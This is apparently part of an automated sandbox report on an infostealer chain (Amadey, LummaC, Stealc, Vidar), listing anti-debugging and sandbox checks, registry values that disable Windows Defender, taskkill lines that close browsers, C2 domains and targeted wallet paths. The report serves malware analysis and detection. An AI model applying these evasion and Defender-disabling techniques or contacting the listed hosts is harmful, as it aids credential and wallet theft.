Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.00000000012CE000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: VMwareVMware
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Interactive Brokers - HKVMware20,11696428655]
Source: file.exe, 00000000.00000003.2049841334.000000000113A000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAWL
Source: DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2391330030.0000000000993000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: vmCic
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001340000.00000004.00000020.00020000.00000000.sdmp	Binary or memory string: Hyper-V RAW}
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: bankofamerica.comVMware20,11696428655x
Source: RIHOEX26J337XMDAUSF1C246W.exe, 00000003.00000002.2260970671.0000000000EE2000.00000040.00000001.01000000.00000006.sdmp, 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2468284651.0000000000911000.00000040.00000001.01000000.00000008.sdmp, skotes.exe, 00000005.00000002.2297578694.0000000000452000.00000040.00000001.01000000.00000009.sdmp, DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2390942123.0000000000931000.00000040.00000001.01000000.0000000A.sdmp, skotes.exe, 00000007.00000002.2297614571.0000000000452000.00000040.00000001.01000000.00000009.sdmp, 2ffb915ad7.exe, 0000000B.00000002.2841847202.000000000045D000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: Restart now?\\.\Oreans.vxd%s\Oreans.vxdXprotEventHARDWARE\ACPI\DSDT\VBOX__SeShutdownPrivilegeSoftware\WinLicenseCreateEvent API Error while extraction the driverGetEnvironmentVariable API Error while extraction the driverOpenSCManager API Error while extraction the driverCreateService API Error while extraction the driverCloseServiceHandle API Error while extraction the driverOpenService API Error while extraction the driverStartService API Error while extraction the driverAPIC error: Cannot find Processors Control Blocks. Please,
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: trackpan.utiitsl.comVMware20,11696428655h
Source: 2ffb915ad7.exe, 0000000C.00000003.3030246721.00000000052C5000.00000004.00000800.00020000.00000000.sdmp	Binary or memory string: Test URL for global passwords blocklistVMware20,11696428655

Source: C:\Users\user\Desktop\file.exe

System information queried: ModuleInformation

Jump to behavior

Source: C:\Users\user\Desktop\file.exe

Process information queried: ProcessInformation

Jump to behavior

Anti Debugging

Hides threads from debuggers

Source: C:\Users\user\Desktop\file.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Thread information set: HideFromDebugger
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Thread information set: HideFromDebugger

Tries to detect sandboxes and other dynamic analysis tools (window names)

Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: regmonclass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: gbdyllo
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: process monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: procmon_window_class
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: registry monitor - sysinternals: www.sysinternals.com
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: ollydbg
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: filemonclass
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Open window title or class name: file monitor - sysinternals: www.sysinternals.com

Checks for debuggers (devices)

Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	File opened: NTICE
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	File opened: SICE
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	File opened: SIWVID

Checks if the current process is being debugged

Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\Desktop\file.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process queried: DebugPort	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\VU8MX8J5A37EO7MMQ3BQL.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\KOVSL46NUOT22BPKOXPHV6NAC5.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process queried: DebugPort
Source: C:\Users\user\AppData\Local\Temp\D9O67IRBWGRZW0D1WOATN0GX8KUC.exe	Process queried: DebugPort

Contains functionality for execution timing, often used to detect debuggers

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe

Code function: 3_2_04AA0D94 rdtsc

3_2_04AA0D94

Contains functionality to check if a debugger is running (IsDebuggerPresent)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C76AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6C76AC62

Enables debug privileges

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Process token adjusted: Debug	Jump to behavior
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug
Source: C:\Windows\SysWOW64\taskkill.exe	Process token adjusted: Debug

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C76AC62 IsProcessorFeaturePresent,memset,memset,IsDebuggerPresent,SetUnhandledExceptionFilter,UnhandledExceptionFilter,

4_2_6C76AC62

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Memory protected: page guard

Jump to behavior

HIPS / PFW / Operating System Protection Evasion

Yara detected Powershell download and execute

Source: Yara match	File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe, type: DROPPED

LummaC encrypted strings found

Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: clearancek.site
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: licendfilteo.site
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: spirittunek.store
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: bathdoomgaz.store
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: studennotediw.store
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: dissapoiznw.store
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: eaglepawnoy.store
Source: file.exe, 00000000.00000003.2021970417.0000000004F50000.00000004.00001000.00020000.00000000.sdmp	String found in binary or memory: mobbipenju.store

Creates a process in suspended mode (likely to inject code)

Source: C:\Users\user\AppData\Local\Temp\RIHOEX26J337XMDAUSF1C246W.exe	Process created: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe "C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe "C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe "C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe"	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Process created: C:\Users\user\AppData\Local\Temp\1001069001\num.exe "C:\Users\user\AppData\Local\Temp\1001069001\num.exe"	Jump to behavior

Uses taskkill to terminate processes

Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM chrome.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM msedge.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM opera.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM brave.exe /T
Source: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe	Process created: C:\Windows\SysWOW64\taskkill.exe taskkill /F /IM firefox.exe /T

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C7B4760 malloc,InitializeSecurityDescriptor,SetSecurityDescriptorOwner,SetSecurityDescriptorGroup,GetLengthSid,GetLengthSid,GetLengthSid,malloc,InitializeAcl,AddAccessAllowedAce,AddAccessAllowedAce,AddAccessAllowedAce,SetSecurityDescriptorDacl,PR_SetError,GetLastError,free,GetLastError,GetLastError,free,free,free,

4_2_6C7B4760

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C691C30 GetCurrentProcess,OpenProcessToken,GetTokenInformation,GetLengthSid,malloc,CopySid,CopySid,GetTokenInformation,GetLengthSid,malloc,CopySid,CloseHandle,AllocateAndInitializeSid,GetLastError,PR_LogPrint,

4_2_6C691C30

Source: 3cfbb3a6fb.exe, 0000000D.00000000.2950542078.0000000000B52000.00000002.00000001.01000000.00000011.sdmp	Binary or memory string: Run Script:AutoIt script files (.au3, .a3x).au3;.a3xAll files (.).au3#include depth exceeded. Make sure there are no recursive includesError opening the file>>>AUTOIT SCRIPT<<<Bad directive syntax errorUnterminated stringCannot parse #includeUnterminated group of commentsONOFF0%d%dShell_TrayWndREMOVEKEYSEXISTSAPPENDblankinfoquestionstopwarning
Source: DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2391217460.000000000097C000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: PfC4Program Manager
Source: RIHOEX26J337XMDAUSF1C246W.exe, RIHOEX26J337XMDAUSF1C246W.exe, 00000003.00000002.2260970671.0000000000EE2000.00000040.00000001.01000000.00000006.sdmp, skotes.exe, 00000005.00000002.2297578694.0000000000452000.00000040.00000001.01000000.00000009.sdmp, skotes.exe, 00000007.00000002.2297614571.0000000000452000.00000040.00000001.01000000.00000009.sdmp	Binary or memory string: Program Manager
Source: DIKGVVY9JNEBJRBXL.exe, 00000006.00000002.2391217460.000000000097C000.00000040.00000001.01000000.0000000A.sdmp	Binary or memory string: oPfC4Program Manager
Source: firefox.exe, 0000001A.00000002.3127901348.000000511663B000.00000004.00000010.00020000.00000000.sdmp	Binary or memory string: ?Progman
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Binary or memory string: ["kProgram Manager
Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2468284651.0000000000911000.00000040.00000001.01000000.00000008.sdmp	Binary or memory string: ["kProgram Manager
Source: 2ffb915ad7.exe, 0000000B.00000002.2842079400.000000000049E000.00000040.00000001.01000000.00000010.sdmp	Binary or memory string: FLProgram Manager

Contains functionality to query CPU information (cpuid)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C76AE71 cpuid

4_2_6C76AE71

Queries information about the installed CPU (vendor, model number etc)

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Registry key value queried: HKEY_LOCAL_MACHINE\HARDWARE\DESCRIPTION\System\CentralProcessor\0			Jump to behavior

Queries the volume information (name, serial number etc) of a device

Source: C:\Users\user\Desktop\file.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe	Queries volume information: C:\ VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001068001\3cfbb3a6fb.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001069001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe	Queries volume information: C:\Users\user\AppData\Local\Temp\1001069001\num.exe VolumeInformation	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Queries volume information: C:\ VolumeInformation
Source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe	Queries volume information: C:\ VolumeInformation

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C76A8DC GetSystemTimeAsFileTime,GetCurrentThreadId,GetCurrentProcessId,QueryPerformanceCounter,

4_2_6C76A8DC

Source: C:\Users\user\AppData\Local\Temp\7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe

Code function: 4_2_6C6B8390 NSS_GetVersion,

4_2_6C6B8390

Source: C:\Users\user\Desktop\file.exe

Key value queried: HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Cryptography MachineGuid

Jump to behavior

Lowering of HIPS / PFW / Operating System Security Settings

Disable Windows Defender notifications (registry)

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe

Registry key value created / modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications DisableNotifications 1

Jump to behavior

Disable Windows Defender real time protection (registry)

Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableIOAVProtection 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender\Real-Time Protection	Registry value created: DisableRealtimeMonitoring 1	Jump to behavior
Source: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows Defender Security Center\Notifications	Registry value created: DisableNotifications 1	Jump to behavior

Disables Windows Defender Tamper protection

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe

Registry value created: TamperProtection 0

Jump to behavior

Modifies windows update settings

Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AUOptions	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate\AU AutoInstallMinorUpdates	Jump to behavior
Source: C:\Users\user\AppData\Local\Temp\DIKGVVY9JNEBJRBXL.exe	Key value created or modified: HKEY_LOCAL_MACHINE\SOFTWARE\Policies\Microsoft\Windows\WindowsUpdate DoNotConnectToWindowsUpdateInternetLocations	Jump to behavior

AV process strings found (often used to terminate AV products)

Source: file.exe, 00000000.00000003.2125870141.0000000005B50000.00000004.00000800.00020000.00000000.sdmp, file.exe, 00000000.00000003.2125907579.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, file.exe, 00000000.00000003.2120843555.00000000011BB000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3118685183.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105369249.0000000000D17000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3186014931.0000000000D00000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3105982780.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp, 2ffb915ad7.exe, 0000000C.00000003.3120031532.0000000000CBD000.00000004.00000020.00020000.00000000.sdmp

Binary or memory string: %ProgramFiles%\Windows Defender\MsMpeng.exe

Checks if Antivirus/Antispyware/Firewall program is installed (via WMI)

Source: C:\Users\user\Desktop\file.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct
Source: C:\Users\user\AppData\Local\Temp\1001066001\2ffb915ad7.exe	WMI Queries: IWbemServices::ExecQuery - ROOT\SecurityCenter2 : SELECT * FROM AntiVirusProduct

Stealing of Sensitive Information

Yara detected Amadeys stealer DLL

Source: Yara match	File source: 3.2.RIHOEX26J337XMDAUSF1C246W.exe.ce0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 5.2.skotes.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 35.2.VU8MX8J5A37EO7MMQ3BQL.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 7.2.skotes.exe.250000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000007.00000002.2297402826.0000000000251000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000002.3246745454.0000000000531000.00000040.00000001.01000000.0000001C.sdmp, type: MEMORY
Source: Yara match	File source: 0000000A.00000003.2706786852.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000002.2297374598.0000000000251000.00000040.00000001.01000000.00000009.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000003.2204147385.00000000048C0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000003.00000002.2260876638.0000000000CE1000.00000040.00000001.01000000.00000006.sdmp, type: MEMORY
Source: Yara match	File source: 00000005.00000003.2256057086.0000000004A50000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000007.00000003.2256151064.0000000005070000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000023.00000003.3203455489.0000000005020000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY

Yara detected LummaC Stealer

Source: Yara match	File source: Process Memory Space: file.exe PID: 1672, type: MEMORYSTR
Source: Yara match	File source: Process Memory Space: 2ffb915ad7.exe PID: 8184, type: MEMORYSTR
Source: Yara match	File source: sslproxydump.pcap, type: PCAP

Yara detected Stealc

Source: Yara match	File source: 36.2.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.2.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 36.0.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 29.0.num.exe.8b0000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 4.2.7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe.530000.0.unpack, type: UNPACKEDPE
Source: Yara match	File source: 00000025.00000003.3236474739.0000000005040000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000000.2999530094.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3219239848.0000000001137000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3025229093.000000000145E000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000002.3217179898.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000003.2240131316.0000000004EE0000.00000004.00001000.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2467756914.0000000000531000.00000040.00000001.01000000.00000008.sdmp, type: MEMORY
Source: Yara match	File source: 00000004.00000002.2469625027.00000000012CE000.00000004.00000020.00020000.00000000.sdmp, type: MEMORY
Source: Yara match	File source: 00000024.00000000.3202477803.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: 0000001D.00000002.3015278414.00000000008B1000.00000080.00000001.01000000.00000018.sdmp, type: MEMORY
Source: Yara match	File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR
Source: Yara match	File source: C:\Users\user\AppData\Local\Microsoft\Windows\INetCache\IE\T9RRWRNL\num[1].exe, type: DROPPED
Source: Yara match	File source: C:\Users\user\AppData\Local\Temp\1001069001\num.exe, type: DROPPED
Source: Yara match	File source: dump.pcap, type: PCAP

Yara detected Vidar stealer

Source: Yara match

File source: Process Memory Space: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe PID: 5380, type: MEMORYSTR

Found many strings related to Crypto-Wallets (likely being stolen)

Source: 7X9P2VGBRHETX32KDN8MJ2HFVKS2ST.exe, 00000004.00000002.2469625027.0000000001327000.00000004.00000020.00020000.00000000.sdmp	String found in binary or memory: C:\Users\user\AppData\Roaming\\Electrum\wallets\\.
